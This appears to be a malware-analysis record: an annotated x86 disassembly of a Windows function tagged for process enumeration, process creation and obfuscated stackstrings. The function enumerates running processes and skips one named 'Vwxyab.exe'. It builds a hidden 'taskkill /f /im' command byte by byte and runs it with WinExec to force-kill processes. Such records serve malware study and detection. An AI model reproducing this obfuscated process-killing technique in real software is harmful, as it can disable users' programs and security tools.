Function at 0x401780
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Enumerate processes

Disassembly:
push 0xffffffffffffffff
push 0x4022ab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x15c
push ebx
xor ebx, ebx
push edi
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [esp + 0x3c]
push eax
push edi
mov dword [esp + 0x40], edi
mov dword [esp + 0x44], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x4017db
pop edi
pop ebx
mov ecx, dword [esp + 0x15c]
mov dword fs:[0], ecx
add esp, 0x168
ret
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_WinExec]
push esi
lea ecx, [esp + 0x44]
mov dword [esp + 0x44], 0x128
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x401983
mov esi, dword [esp + 0x4c]
lea ecx, [esp + 0x24]
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x24], ebx
call fcn.00401160
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x24]
cmp eax, ebx
je 0x401832
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push ebx
push 0x400
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x30], ebx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [esp + 0x24], eax
mov dword [esp + 0x174], ebx
mov esi, 0xa
lea ecx, [esp + 0x24]
call section..text
fstp dword [esp + 0x3c]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
dec esi
jne 0x401863
fld dword [esp + 0x3c]
fcomp dword [0x403134]
fnstsw ax
test ah, 0x41
jne 0x401957
lea esi, [esp + 0x68]
mov eax, str.Vwxyab.exe
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x4018bd
cmp cl, bl
je 0x4018b9
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x4018bd
add eax, 2
add esi, 2
cmp cl, bl
jne 0x401899
xor eax, eax
jmp 0x4018c2
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x401957
lea edi, [esp + 0x68]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x10], 0x74
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
mov byte [esp + 0x11], 0x61
mov byte [esp + 0x12], 0x73
mov byte [esp + 0x13], 0x6b
mov byte [esp + 0x14], 0x6b
mov byte [esp + 0x15], 0x69
mov byte [esp + 0x16], 0x6c
mov byte [esp + 0x17], 0x6c
mov byte [esp + 0x18], 0x20
mov byte [esp + 0x19], 0x2f
mov byte [esp + 0x1a], 0x66
mov byte [esp + 0x1b], 0x20
mov byte [esp + 0x1c], 0x2f
mov byte [esp + 0x1d], 0x69
mov byte [esp + 0x1e], 0x6d
mov byte [esp + 0x1f], 0x20
mov byte [esp + 0x20], bl
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x10]
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
push eax
call ebp
mov edi, dword [esp + 0x40]
call fcn.004016c0
mov eax, dword [esp + 0x24]
mov dword [esp + 0x174], 0xffffffff
cmp eax, ebx
je 0x4017e3
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x24], ebx
jmp 0x4017e3
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x16c]
pop esi
pop ebp
pop edi
xor eax, eax
pop ebx
mov dword fs:[0], ecx
add esp, 0x168
ret